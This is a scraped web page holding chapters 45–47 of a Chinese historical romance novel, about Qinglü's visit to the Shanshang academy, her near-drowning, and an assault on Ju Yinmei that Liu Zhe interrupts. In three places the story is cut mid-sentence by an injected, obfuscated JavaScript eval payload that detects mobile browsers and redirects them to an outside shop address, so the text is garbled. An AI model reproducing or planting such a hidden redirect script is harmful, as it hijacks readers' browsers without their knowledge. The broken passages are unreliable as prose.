青绿抬头看了他一眼:“不行么?” “太行了,兰台提倡埋头苦干,凡主簿近日的表现可载入史册。”很欠揍地掏出一只鸡腿吃了起来,“不过主簿这般寸步不离书房,似乎是万不得已?又或是另有目的?嘿嘿。” 青绿拿起一卷简牍用力朝他砸去:“滚。” 管胖子嘿嘿笑着离开。 青绿咽了一口唾沫。 约素园老祖宗妹娘发话,离青绿及笄礼的日子越来越近,但她的肤色仍是偏黑,于是提出要求,一是只能过暗无天日的日子,就是那种早出晚归不见自然光的日子;二是所有吃的必须只能是纯白色食物,吃肉?是不可能吃肉的,肉类都是带血的。 有人叩门,问:“青绿姑娘,用膳了么?”跛脚陆叔端着一个食盒边问边推门进来,将食盒放在她面前,语气关切道:“大师傅说你没去用膳,我估摸着你是忙昏头了,给你端来了。年纪轻轻的可得注意着些,别累坏了身子。” 青绿忙起身对陆叔施礼道:“谢谢陆叔。” 打开食盒顿时傻眼:白米饭、炒萝卜及盐水豆腐。也不好问什么,捧着食盒吃了起来。 陆叔叹了一口气道:“唉,姑娘在外干得辛苦,回来还有这许多活等着,陆叔看着怪心疼的。”目光落在她脸上,“姑娘这是上哪了?晒成这样。” 青绿头埋在食盒里,含糊道:“我是坐不住的性子,压根忘了那时正是盛夏,不能在毒日头下暴晒。” 陆叔呵呵笑道:“回来被长辈责骂了吧。” 青绿抬头,好奇道:“陆叔咋知道?” “这还用说么?这副模样长辈见了哪个不得心疼死。”顿了顿,聊起了另一个话题,“姑娘此次出去甚久,想来走了不少地方,搜罗了不少好物件吧,都有些啥?” 青绿嘴里含着米饭,拿起桌上的杯子灌了一口凉水,抱歉道:“我什么都不敢买,不会鉴别。” 陆叔眼里闪过一丝失望,随即笑道:“看我这一唠叨起来便没完没了,姑娘赶紧吃吧,我便不打扰了。” 青绿起身相送:“陆叔慢走。” 看着他高低不平的背影,青绿隐隐觉着有种陆叔想套出她去了何处的感觉。 小北和麻二叔在宫门外等候青绿下值。 既已独立过日子,青绿便不再搭乘大哥凡不凡的顺风车,他出门早,回府又不准时。 马车上,青绿想起午膳的事,问小北咋回事,小北老实坦白道:“妹娘到皇宫附近的西市买菜,偶遇中年胖大叔,开聊了几句。” 青绿哭笑不得,慢说妹娘从不亲自购买膳房作料,便是逛菜市场也不至于从东头横跨一座长安城去到西市,最大的可能是妹娘动用了宫中关系,比如命令大哥给管胖子某些建议。 晚膳是在妹娘眼皮子底下用的,席间,妹娘问青绿:“你回来后一直如陀螺般转动,没停过,何时能休沐?” 青绿笑道:“妹娘连兰台午膳都能安排,能不知道我翌日休沐?要做何事?” 妹娘有些尴尬:“趁着休沐你去一趟山尚学宫吧,给三爷送些嚼用。上次他离家前,说要准备大考,八月底前不回府,还念叨二姐怎么去了那么久。我看他是想你了。” 青绿心里涌上一阵暖意,小弟凡高,长相超凡才情一流,看人眼界不是一般的高,青绿还记得刚回家时的团聚晚宴,自己用手抓桌上的鸡腿时凡高微微皱眉的神态。 往后姐弟俩似乎有些疏离,也没怎么交流,毕竟青绿离家时,凡高才两岁,严格说来,青绿从岭南回来之前,他的生活里是不存在二姐的,且二人见面很少,一来凡高在山尚学宫,二来青绿去了西域。 青绿高兴地应允:“嗯,我翌日便去一趟山尚学宫。” 妹娘有些犹疑道:“衣裳食物都收拾好了,但简杰和他老子去外地采买还没回来。罢了,另派一名扈从跟你去吧。” 青绿摇摇头:“不必,青天白日的,小北跟着便可。” 妹娘点头:“也罢,不必去太早,三爷早上都要听大师授课。” 申时初,一辆遮挡得严严实实的马车停在山尚学宫大门外,车夫摆好马凳,一名丫鬟先下了马车,从车内扶出一名头上戴着围帽的娉娉袅袅的女子。 丫鬟扶着女子缓缓踏上大门台阶,进了二门后,径直朝北边的学斋走去,顺着被竹丛遮掩的影影绰绰的小径,到了讲堂后一处名为沁湖的湖边凉亭。 凉亭位置独特,一侧是讲堂山墙,另一侧是一池狭长的湖水,背后是假山,溪水带着阵阵清凉,从山上蜿蜒流入湖中。 丫鬟取出一条方巾铺在石凳上,扶女子坐下,替她取下头上的围帽,但见女子楚腰卫鬓,一张细腻白晳的长容脸,琼鼻樱唇,柳叶眼里一抹淡淡幽怨,美得真实而又虚幻。 她乃御史大夫句华容嫡女句吟媚。 句吟媚问丫鬟:“芍药,锦书真的送到了?哥哥不会不来吧。” 名为芍药的丫鬟语气十分肯定道:“姑娘放心,锦书我给了二殿下的贴身小厮桃木,叮嘱他转告殿下,你只想见殿下最后一面。殿下是重情之人,肯定会来的。” 句吟媚满脸担忧道:“但我骗他说自己病入膏肓,他得知真相后会不会恨我?” “姑娘并未骗殿下,姑娘的相思病何止病入膏肓?唉,三番五次险些要了姑娘的命。”芍药叹气安慰道。 她们所说的二殿下,是二皇子刘白。 句吟媚生母莫氏是句华容的继室,与刘白生母令狐婳是姨表姐妹,关系密切,令狐婳喜欢乖巧可人的句吟媚,常接她入宫,经皇后点头安排在笃学房跟着念书。 句吟媚与刘白一起长大,两小无猜,称呼中也省略了“表”字,只互称哥哥妹妹。 少女更事早,在刘白还懵懂地将她看作妹妹之时,她却早已将他当成了自己未来夫君,在心中描画与他相守一生的美好蓝图。 她将心事告知娘亲,央求她去定下这门亲事。 莫氏不赞同,连劝带警告:“皇家儿女的婚事根本由不得他们自己作主,令狐娘娘亦无能为力,你还是趁早死了这份心。” 她哭着跪求莫氏:“娘,求您去试一试,只当是救女儿一命罢。” 莫氏只得进宫,回来一脸无奈地告诉她:“令狐娘娘甚为疼惜你,但二殿下的婚事轮不到她说话,且陛下已有意聘凡家嫡长女凡雪霁为二殿下正妃。” 这个消息对句吟媚而言不啻是一记晴天霹雳,她无数次从梦中哭醒,泪湿枕巾。她央求莫氏,不奢求正妃之位,侧妃也可。以她堂堂朝廷公卿的嫡女身份,做侧妃实在有损颜面,但她不在乎。 莫氏只得又进了一回宫,回来更为无奈地告诉她:“凡府家规,凡家儿郎不能纳妾,娶凡家女儿的男子也不能纳妾,否则女方可带全部家产和离。” 不能嫁给刘白,句吟媚不知道自己活着还有何意义,趁人不注意便寻了短见,上吊割腕投河试了一遍,均被救下,最后是丫鬟芍药那句“六殿下不会一辈子只守着一个女子,往后慢慢自会想起姑娘的好来”的话起了作用,她暂时将自己的性命寄存在羸弱的躯壳里。 如此过了几年,句吟媚等来的是刘白与凡雪霁大婚的消息,再往后,坊间皆传夫妇二人琴瑟和鸣,刘白一支墨玉笛为凡雪霁的霓虹羽衣舞伴奏,吹出了天籁之音。 句吟媚的心除了痛还有怕,怕长此下去,刘白会彻底忘掉自己。 凡羲夫妇去世后,她心里重燃希望,无人再能阻拦刘白纳侧妃,她迫不及待要见到刘白。当听娘说刘白想考到山尚学宫大祭酒千墨云名下,且已住进学宫时,觉着机会来了,便以自己生病为由托信给刘白,约他今日在此见面。她曾在学宫学过两年音律,熟悉这里的环境, 主仆说话间,便见一名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630804|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一袭淡青色暗纹云袖袍服的青年男子匆匆朝凉亭走来,他身形高大,肤色白净,五官平和,微厚的嘴唇溢满儒雅之气,腰间墨绿长涤上系着一支古朴沉郁的墨玉长穗笛,显出其身份非比寻常。 来人正是二皇子刘白。他喜读诗书,好做学问,博学多识,笛子吹得出神入化,清亮处洗尽尘俗,婉转处悠游飘渺。 本来他在未央宫笃学房也是名家大儒教导,但他觉得那些皇家宗室子弟无任何竞争意识,学问慵懒,便想换个环境,本可去太学,却又认为太学生功利意识太强,比不得私家学宫学术氛围浓厚。 几日前听说多年不收徒的千墨云重开山门,虽说只录一名弟子,刘白仍一秒决定前来投考,故化名令狐白住进学宫备考。 刘白一见句吟媚便神情急切地问:“妹妹,发生了何事?你既身体抱恙,为何却于这酷热天气出门?不要命了么?” 句吟媚颤抖着声音才唤了一句“哥哥”,脸上已是梨花带雨。 刘白越发着急,上前握着她的手道:“妹妹,你先别哭,到底出了何事?” 句吟媚满目深情凝视着他,柔柔地开口道:“哥哥,从前你待我的心如今可还在?” 刘白急道:“无论何时我都会护着你。” 句吟媚胸部急剧起伏,步步紧逼:“我只问哥哥一句话,当初,凡家女婿不能纳妾是凡丞相定下的规矩,如今他已逝,无人再能约束你,你可愿娶我?侧妃我也不计较。” 刘白至此似乎才明白句吟媚来此目的,他略一思索,坚定地摇头道:“人不在,但规矩还得守,不然我岂不是成了言而无信的小人么?” 刘白打小便克己守礼,长大后更自恃是行必果、言必信的正人君子,人设立了这么久,可不想自己打自己的脸。且他年纪不大便与凡雪霁定了亲,真心喜欢她的大气温婉,关键是一旦纳妾,他将净身出户,故一直以来,他从不与其他女子走得过近。 句吟媚悲痛欲绝:“我哪点比不上凡雪霁?” 刘白不回答她的问题,抬头看了一眼在山墙外露出半张笑脸的夕阳,语气温煦道:“时辰不早了,妹妹回去吧,我送你出去,归家好好将养身子,待我大考完再去看你,” 句吟媚止泪,头扭到一旁不看刘白,赌气道:“我的身子好与不好与你何干,你走吧,不用你管。” 刘白无奈,稍顿一下,叮嘱芍药:“歇一会便回吧,我这得赶去听课了。”径直从来路大踏步离去。 句吟媚死死咬着嘴唇以防自己大放悲声,半晌,伤心落泪道:“我大老远来寻他,他竟然狠得下心,抛下我不管。” 芍药替她擦去脸上的泪水,劝道:“姑娘别气,身子是自个的,气坏了殿下不知道,知道了也不心疼。”顿了顿,“说句不中听的话,便算二殿下答应娶姑娘,也只是侧妃,进门便矮了凡雪霁一头,凭啥啊?都是同样家世,姑娘另嫁豪门做个正头娘子不香么?” 但人的心态便是如此,得不到的都是好的,越是得不到,便越心心念念想要拥有,至少句吟媚目前便是如此。 她把心一横,今日既拉得下脸来求他,干脆便不要脸到底了,因颤抖着对芍药道:“你去将殿下叫回来,对他说,我只问他最后一次,可愿娶我?若答应,我便给了他,若是不来,这湖便是我的葬身之地。” 芍药无奈地看着她:“姑娘,这样可不好,有损姑娘清誉。” 句吟媚提高了声音:“好不好的,是你这贱蹄子说的么?你只管去便是。” 芍药目光含着怜悯:“姑娘,我这就去。天将黑了,不如我们到大路上等候,这儿僻静,恐有歹人。” 句吟媚不耐烦道:“又不是第一次来,都是读书人,何来的歹人?你只管速去速回便是。” 却说湖对面一名路过的中年男子,被她们的争吵声吸引,便隐身在一丛香妃竹后悄悄窥视,见丫鬟模样的女子嘱咐自己的主子小心,他心里忿忿:若连学宫都不太平,便不知哪儿称得上太平了。 见丫鬟匆匆而去,再看留在原处本是背着他站着的女子,这会却坐在廊椅上,凭栏扭头看湖里的锦鲤,夕阳的余光斜打在她脸上,衬得她的侧颜十分柔媚,男子瞬间看呆了,一时心旌摇曳,竟鬼使神差地放轻脚步,悄悄朝她走去。 46.第四十六章 落水 礼尚山下的礼尚街位于山尚学宫东北面,依山傍水,灞水西岸码头便坐落在其东侧,学宫鼎盛时期有两万学子,得益于学宫才彦荟萃之泽,又得利于码头舟楫往来之利,商住繁盛。 礼尚街又分南街和北街。 南街幽静,街两旁粉墙黛瓦、庭院深深。一些有名望的学宫先生在此购房居住,不差银子的学宫弟子也在此赁屋,这里的房子便成了妥妥的学区房,常常一房难求。 北街繁华,商铺林立,茶楼酒肆不少,曲径通幽处还藏了好几间青楼,学子们本就是些风流才子,时常三五好友聚在一处或围炉煮茶清吟,或斗酒诗百篇,囊中厚实的点个清倌人,看玉指拨动琴弦、听弦歌不辍,不亦乐乎。 从凡府到山尚学宫约两个时辰,青绿巳时出门,未时到了礼尚街,路过门口竖着“王大郎烧饼铺”幡子的店铺,见门前围了一大群人,便让麻二叔在路旁就地停靠好马车,她与小北横穿马路去买烧饼。 到了近前才看清楚,聚集的人群并不全是买烧饼的,吃瓜的占了一多半,正在围观两名孩童与卖烧饼的伙计争吵。 五六岁的小女孩声音脆生生地质疑伙计:“你一直吆喝‘两个十文’,一个不就是五文么?” 伙计脸涨得通红:“我说的是‘一个六文,两个十文’。” 七八岁的小男孩瞪着单眼皮小眼睛道:“我又不买两个,我只买一个,我买‘两个十文’中的一个,便是五文。不会算数还敢出来卖烧饼。” 围观众人哄笑道:“有道理哦。” 青绿看那男孩却是吴雅童,有些好笑,他到山尚学宫才几天?便跑到礼尚街算账了。 姓王的矮壮掌柜从内室出来,不耐烦地对俩孩童道:“哪来的小屁孩在此胡搅蛮缠?讨打呢。” 女孩理直气壮道:“你们大屁孩最讲道理,讲不过小人就只会吓唬。‘两个十文’,买两个中的一个便是五文,没毛病啊。” 众人看热闹不嫌事大,连连帮腔:没毛病啊、没毛病啊、没毛病啊。重要的事情讲三遍。 王掌柜看看围观众人,黑着脸,用孩童能理解的说辞解释道:“前一句‘一个六文’,后一句‘两个十文’,买一个按前面的价钱,买两个才按后面的价钱,凡事总得有个先后。” 吴雅童眼珠子转了转,道:“这话可是你说的,好吧,我买两个。”他从口袋里掏出十文钱递给王掌柜。 或许他的态度转变得太快,王掌柜反而有些犹豫不决:“烧饼不卖了,你们赶紧走。” 女孩噘着小嘴道:“王婆卖瓜越卖越差,我看是因为烧饼不好吃,不敢卖了。” 众人齐声道:“小人又不是不付银子,既是童叟无欺,应该卖给人才对。” 王掌柜只得接过吴雅童递过来的十文钱,挑了两个刚出炉的大烧饼,分别用蕉叶包好递给他。 吴雅童只接了一个烧饼,掰下一大半递给女孩,自己拿着剩下的啃了一口,对王掌柜道:“方才伙计吆喝‘一个六文,两个十文,不好吃退钱’,我尝了一口,不是特别好吃,我们小人讲道理,吃过的就算了,你手上的我没碰过,退了。” 王掌柜无言以对,瞪了他一眼,将烧饼放回原处,默默从怀里掏出四文钱递给他。 吴雅童不接,眼睛一眨不眨地看着他。 王掌柜皱眉,从怀里取出一文钱添上。 吴雅童接过五文钱,小眼睛仍看着他道:“你应该退我六文钱,你方才说了,凡事总有个先后,我现在退的是前面的烧饼。” 众人哄堂大笑。 一名头戴帷帽身段婀娜的妇人挤进人群,拉着小女孩问:“朵朵,怎地买个烧饼耽搁这么久?” 名为朵朵的小女孩仰头道:“娘,这个掌柜伯伯欠吴哥哥一文钱。” 妇人目光透过薄纱看着王掌柜,王掌柜捂着胸口,歪了歪头示意伙计给钱。 伙计取出一文钱,拉过吴雅童的手,将钱拍在他手心里,狠狠道:“拿好了,一文钱大过簸箕,撑不死你们。” 已经朝外走的小朵朵正回头去拉吴雅童的手,闻此言,看着伙计认真道:“你是说吃了你家烧饼会撑死?你开的是黑店?嗯,这可是你自个说的,你有权保持沉默,但你所说的每句话都将成为呈堂证供。” 住在礼尚街的多是读书人,看着小丫头稚声稚气却又一本正经地与人谈律法,无不大笑。 朵朵在哄笑声中被娘揪着领子拎出了人群,连带着把吴雅童也扯了出来。 青绿一直笑看着这一幕,心道:这山尚学宫的先生甚为了得,一肚子算盘珠子的乌鸦童在此学上几年恐怕得成精了。 待众人散去,她买了几个热乎乎的烧饼,与小北回到马车上。 马车穿过北街,拐入一条岔道,行不多远便到了山尚学宫。 一下马车,古朴典雅、威仪大方的学宫大门便落入青绿眼中。 将军门式结构的五间硬山顶建筑,白墙青瓦,檐设三重,花脊漏空;枋梁绘水墨竹石,间杂龙纹。正上方悬挂的“山尚学宫”匾额,据说为太祖皇帝真迹,字体沉厚端方,笔力劲挺。 再看看进出大门的弟子,无不昂首挺胸,一副“如欲平治天下,当今之世,舍我其谁”的国之栋梁的气概。 青绿十分感慨,这些弟子,在这得天独厚的书海里浸润几年,便如锦鲤,吃的是精料,待鱼跃龙门之时,自然占尽了先机,野生河鱼如何能比? 不由面露羡慕之色,想着如果娘还在,一定会将她送到学宫,而不是进皇宫学鸟什子的宫廷规范。 小北用一根绳子一头绑着一个箱子挂在肩膀上,主仆二人沿台阶拾级而上。 进了大门,穿过双层台基的高大礼殿,却见左右各有廊道通南北两个方向。青绿止住脚步,不知该往哪个方向走,正想找人打听,闻身后有脚步声,回头一看,一名二十出头的年轻公子迎面而来。 但见他身形修长,一身华丽而内敛的深紫色锦服,腰束深红长绦,阔脸,天庭饱满,鼻梁高挺,剑眉斜飞,深棕色的眼眸,象牙色的肤色,薄唇,下颏微微上翘透出点痞气。 青绿暗忖:学宫锦鲤都这么出彩么?上前施礼道:“公子,药学斋怎么走?” 凡高爱钻研药理,在山尚学宫师承药理大师李时惜。 公子顿住脚步,看了她一眼,淡淡道:“抱歉,我也是头回来,对此处不熟,或可到广场后的讲堂问问。”嗓音略显低沉,成熟而极富磁性。 青绿颔了颔首:“谢谢公子 。” 公子礼貌回道:“不客气。”匆匆离去。 小北在旁不眨眼地盯着公子,待他走远,对青绿道:“姑娘,此位公子生的好生整齐,你怎不问他尊姓大名,何方人士?” 青绿笑骂道:“花痴啊。” 进了二门,果然看见一个宽阔广场,广场后便是讲堂,正是课间休憩,有弟子在广场上或闲聊或闲步。 凡高见了青绿,眼中并无她想象中的惊愕之色,而是惊喜之中充满了关切:“二姐你上哪了?去了那么久,吃了不少苦吧。” 青绿忽觉眼眶微热,她一路上总有些担心,今日前来,凡高会不会觉着太突兀?见面时二人会不会因为生分而只有沉默和尴尬?料不到凡高却如此记挂着她。 青绿忙掩饰地笑道:“不苦,你念书才苦,别太拼了,用脑太过会秃头,每日记得吃七个核桃。” 凡高笑着点头:“二姐,我记住了。” 他一笑,天然饱满的红唇微微张开,露出两排整齐的雪白贝齿。 凡高指着讲堂两旁一溜排开的数百间平房道:“南为师斋,北为学斋,学斋可独住亦可合住,人数二到十人不等,我与一名师兄合住。” 领着青绿及小北到了寝室,归置好青绿所带物件,凡高热情道:“二姐,学宫风景独好,我带你去后山的观曦台,那儿是学宫最高处,可观全景。” 青绿笑道:“难得来此一趟,也想领略一番久负盛名的学宫美景。你一会还得听课,我自己去便可。” 凡高道:“花不了多少时辰。” 青绿嘴角微弯,露出唇边一对小小梨窝:“那便快去快回。” 三人沿着廊道朝后山走,凡高边走边介绍:“学宫坐西朝东,依山势而建,由中轴对称、纵深多进的院落组成,主轴线前延至灞水西岸,后延至礼尚山巅,大门、二门、讲堂、藏书楼等主建筑集中于中轴线上,按地势高低层层排布,其余如斋舍、仓廪、亭榭等分列两旁。” 青绿感叹:“与未央宫相比,多了许多书卷气。” “二姐,一会你便看到,院内遍种花草树木,搭建凉亭观台,引山泉入沟渠池塘,一派亭台相济、楼阁相望、山水相融的壮丽景观。”语气不无骄傲。 一名弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小北愤愤然道:“他说姑娘替他提鞋都不配,我得告诉他,他替姑娘舔鞋都不配。” 青绿笑道:“狗咬你,你还咬回去不成?” 小北忽然一拍脑袋,对青绿道:“糟了,我把茉莉花茶忘车上了。” 茶叶罐太大放不进箱子,她用一个布袋兜着,下车时只顾着提箱子忘记拿袋子了。 青绿想了想,道:“我们回去吧,不上山了,到车上取了茶叶,你送进来便是。” 小北不舍,央求道:“姑娘,来都来了。这儿离大门不远,我去取茶叶,你自个先往前走,一会我会赶上你的。” 青绿四周看了一下,右边是一片翠绿草地,草地边上是茂密的芦苇,草地与芦苇之间是几棵高大的榉树,树下有石凳石桌,便指着榉树道:“也罢,我在那边的树荫下等你。” 小北喜笑颜开,递给她一块帕子,叮嘱道:“姑娘你在那边好生呆着,别乱跑,我快去快回。” 青绿移步到榉树下,将帕子垫在石凳上,才要坐下,忽然闻到一阵扑鼻幽香,不由四处张望,感觉香气是从芦苇丛后散发出来的。 她压抑不住好奇心,顺着小道进了芦苇丛,却见眼前是一个偌大的湖,半湖睡莲,开着红黄紫蓝白的莲花,花瓣上的水珠在阳光下闪着七彩光芒。 展眼望去,远处隐约能看到二门,难怪方才一进二门便觉眼前豁然开朗。 青绿看着木盘大的莲叶猜想,自己站上去会不会沉?心痒难耐伸出一只脚,看看四围无人,又心慌慌地收了回来。 虽说会游泳,但这里情况不明,万一有个意外,可不是闹着玩的。 她看了一会池景,终究抵挡不住鲜花的诱惑,蹲在湖边伸手去够一朵花瓣上镶着蓝边的莲花。 便在她掐断花梗的一瞬间,忽觉后背被人狠狠推了一把,脚底一滑,扑通一声一个倒栽葱掉进了湖里。 青绿猝不及防猛呛了几口水,四肢本能地在水中挣扎了一下,随即告诫自己不能慌,借着浮力缓缓翻转身,才缓过一口气,便感觉被滑溜溜的物件缠住,一摸,却是茂密摇曳的水草,她屏住呼吸潜入水中,试图解开缠在脚上的水草。 不料她一动,水草便如千年蛇妖从四处向她卷来,将原本已被缠住的手臂缠得紧紧的,藏短剑的衣袖也被缠死。 她一看无法自救,憋住一口气,双脚用力一蹬,借助浮力将脑袋露出水面大喊:“救命。” 这一挣扎,水草如同发怒的巨蟒将她反向拽着往水底沉去。 青绿明白,若被没入水中,便再也无人知晓湖里有人了,她稍微平息一下内心的恐慌,再次双足发力将头冒出水面,拼尽全力喊了一声:“救命。” 随即被水草拉至水底,一时动弹不得,死亡的窒息感从四面八方向她袭来。 47.第四十七章 获救 大考将至,刘哲呆在云溪阁书房闭门不出,他同时备考兵法及儒学两门学派,每日刷海量考题,惜时如金。 千墨云弟子沈伯懿到书房查典籍,劝他:“我看你脸色发灰,印堂发黑,如此下去,恐怕未跃龙门便成咸鱼了。走,与我一道去学斋,给备考的弟子释疑。” 刘哲待要回绝,却被他生拉活拽出门:“教学相长,记得牢靠。” 二人一路说着话,刘哲忽然似乎听到一阵女子的呼救声,当即停下脚步,疑惑地环视着四周。 沈伯懿问:“怎么了?” “你可听到什么声音?” “没有。”沈伯懿摇头,屏住呼吸听了一会,“只有风声及湖里鱼儿的跳跃声。” “好像从凉亭方向传来。” 此时他们正站在沁湖边,太阳刚刚下山,从站立的位置看过去,虽光线有些昏暗,仍清晰可见凉亭内空无一人。 沈伯懿笑道:“这个时辰人都在讲堂或书斋,来此僻静处作甚?到点了,弟子们等着我呢。”顿了顿,“学宫多年来甚是太平,你别是因为太累了耳朵出风?” 刘哲目光落在凉亭右侧,那里是假山与讲堂山墙形成的角落,被竹丛遮掩着,不走到跟前根本看不到。他莫名有些担心,因对沈伯懿道:“你先去学斋,我过去看看。” 沈伯懿目光严厉道:“警告你呵,不许再回书房。” 刘哲顺着小道朝凉亭走去,待走近了,能听见窸窸窣窣的声响夹杂着男子低沉的说话声,以及女子细若游丝般的“嗯嗯啊啊”声。 刘哲迟疑止步,他虽然不谙男女情事,但觉着贸然撞入,尴尬的必定是自己,于是提高声音道:“有人么?” 四周顿时悄无声息,刘哲转身便走。 便此时,身后传来一声女子‘救命’的凄厉呼喊,他飞速拔剑在手,大喝一声:“何人?” 足尖点地掠出数步,循着声音方向扑去。未到跟前,便见一名蒙面男子拿着裤腰带,惊慌失措跳湖涉水而去。 刘哲奔至湖边,见男子已游到对岸,并未追赶,他怕出声喝止或大张旗鼓追踪,事情闹大引来旁人围观。 回头看向墙角处,一名发髻散乱,衣衫不整的年轻女子卷曲着身子在瑟瑟发抖,忙背过身去问道:“姑娘可受伤?” 女子不答话,捂着脸呜咽。 刘哲急道:“姑娘先别哭,若没受伤,赶紧收拾好,我送你出去。” 女子似是清醒过来,赶忙爬了起来。 刘哲面朝湖水安静地等待女子,不防身后突然一剑朝他刺来,若非他迅疾闪开,将被刺个透心凉。 刘哲冷眼一看,挥剑的是前些时日才来学宫备考的名为令狐白的公子。 令狐白一边出剑一边怒斥:“好你个刘哲,表面一副读书人模样,原来却是个登徒子。”剑风凌厉,直刺刘哲面门。 刘哲旋即挥剑相迎,与他展开缠斗,心里忍不住嘀咕:不问青红皂白,出手如此狠辣,难道是想趁机减少一名竞争对手? 千墨云只招一名弟子,报名者不下三千,竞争何等惨烈。 却不知刘白是因为见了句吟媚惨状,误以为她被刘哲轻薄,故怒而拔剑,且出剑招招致命。 电光火石之间,二人剑来剑往斗了几十个回合,却分不出胜负。 急得句吟媚裹着芍药给她披上的披风,奔到刘白身旁小声道:“哥哥,不是他,他救了我。” 刘白久战不决,正在气头上,他以剑抵住刘哲朝自己左胸剌来的凌厉剑锋,手腕轻轻一抖,剑尖直指刘哲咽喉,随口对刘哲道:“不是你干的,你为何要救?” 刘哲很生气,后果很严重,他冷冷骂道:“脑残。” 迅疾退后两步,避开刘白剑尖锋芒,然后朝右侧一跃,右足抵着身旁树干,借助足力腾空跃起,倒头持剑从空中挟雷霆之势朝刘白右肩剌去,那是他压箱底的绝活,其速度之快,刘白根本反应不过来。 便在剑尖堪堪碰着刘白衣衫之际,却见句吟媚不顾一切挡在刘白身前。 刘哲止剑已来不及,只得硬生生松开握剑的手,哐啷一声长剑落在地上,他也失去重心从空中跌落,摔了个狗啃泥。 句吟媚转身对刘白悲声道:“哥哥,你想把事情闹得尽人皆知么?” 刘白闻言,悻悻然将剑归鞘,坐在地上大口喘着粗气。 刘哲缓过神来,见女子称令狐白为哥哥,料想已无自己啥事,便起身想离开,却被句吟媚与刘白同时拦住。 句吟媚低声道:“谢公子相救。请问公子尊姓大名。” 刘白抢在刘哲之前道:“他是我同窗刘哲。”朝刘哲作了一揖,“抱歉,刚才多有误会,你救了妹妹,定当重谢。” 刘哲清冷的眸子一闪:“不必。” 刘白转头问句吟媚:“妹妹,到底发生了何事?” 句吟媚泪水顺着脸颊潸然而下,哽咽着道:“芍药去叫哥哥,我正在看湖里的锦鲤,那人从身后凑过来,我以为是哥哥便没在意,待我发现不对劲要叫喊时,被他捂着嘴挟持到墙角处,我咬了他胳膊一口,大喊救命,幸得刘公子路过相救。”言罢,对刘哲深深一揖。 刘白怒道:“是何人如此胆大包天?” 句吟媚摇头道:“看不清楚,他脸上蒙着巾子,眼角皱纹很深,应该是中年男子,刘公子来到时,他已经落荒而逃。” 刘白握拳道:“本宫……,唔,本公子不会轻易放过他。” 刘哲料想没自己啥事了,垂眸对句吟媚道:“刘哲告辞。姑娘放心,今日一切,我不会对任何人说起。”言罢,转身离去。 却说青绿这一头,便在她喘气越来越艰难,意识也渐渐模糊之际,被缠得紧紧的四肢突然松开,随即被人扯着头发拉出了水面,她长呼出一口气。 青绿被拖到岸上,趴在地上拼命吐灌进肚子里的水,好不容易缓过气来,扭头去看救自己的人,是一名青年男子,他坐在地上,一手杵着剑柄,一手拧着宽袖的水。赫然便是她与小北进二门时遇见的那位美貌公子。 公子身旁还蹲着一名抱着一只母鸡的五六岁的小姑娘,却是烧饼铺看到的口吐律法金句的朵朵,此刻正紧张地看着她。 青绿定了定神,虚弱道:“我还活着,真好。” 朵朵笑了,小眼睛小嘴成了弯弯的月牙:“姐姐,你落水了,哥哥救了你。”话音未落,怀里的母鸡忽然朝一旁飞去,急得她大喊,“豆豆,别跑。”拨脚便追。 青绿挣扎着坐起身来,颔首向公子行礼:“谢公子救命之恩。” 公子板着脸道:“你无事便好,往后无大人陪同不能在水边玩耍。”妥妥的大人教训孩童的语气。 青绿看看自己一副落汤鸡的模样,幸亏今日穿的衣料厚实,避免了走光,不自觉地双臂环抱胸前,低头“嗯”了一声,估摸着公子想不起自己曾向他问路,便也没多说。 “赶紧回家吧,别让爹娘担心。”公子言罢,起身便走。 青绿忙拉住他衣袖,恳切道:“请问公子尊姓大名,日后定当答谢。” 公子云淡风轻道:“赵一航。” 青绿一怔,脱口而出:“南越世子?”忙松开他湿漉漉的袖子。 各国均有世子在京师,名为求学,实为质子,南越国的质子便是世子赵一航。 赵一航十分意外,重新打量了青绿一番,只见她肤色偏黑的小脸上五官精致,一双杏眼清澈如水,便问:“姑娘是?” 青绿简短道:“姓凡,名青绿。” 赵一航有些不敢相信地问:“前丞相凡羲的千金,现就职兰台的凡青绿?” 青绿对赵一航的反应并不感到意外,质子都有自己的谍网。因点头道:“正是,抱歉,以此狼狈之态在世子面前出现。” 赵一航深棕色的眼眸满含深意地看着她,声音低沉道:“姑娘落水是意外么?” 青绿避开他的目光,摇头道:“我想采花,不意脚底一滑掉进水里,幸得世子相救。” 赵一航抿了抿薄唇,随即咧嘴一笑:“我可不白救人,姑娘既是相府千金,酬金是要付的。”,极富磁性的声音微微透出些痞气,却无一丝玩笑的成分。 青绿有些意外,抬眸看他,心里腹诽:不是吧,如此一副好皮囊不是应该人美心灵也美,做好事不求回报的么?也罢,无论何事,能用银子结清最好,两不相欠。 因脸上带笑、语含感激道:“该付多少银子?公子给个数。” 赵一航揶揄道:“念在救你不费吹灰之力的份上,一千两。” 青绿杏眼圆睁:“一千两?”先前因他俊逸及低音生出的好感,瞬间荡然无存,脸上是掩饰不住的讥讽,“领教了,银子原来可以这么挣的。既说了救我不费吹灰之力,为何又开出天价?我一个小小主薄,一个月俸禄不过几两银子。” 赵一航痞痞地笑道:“我开价因人而异,难道姑娘的命不值千两么?” 青绿被他噎了一下,小脸黑得透透的:“先欠着,命是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650762|185334||http|test|mini|href|location''.split(''|''),0,{})); () 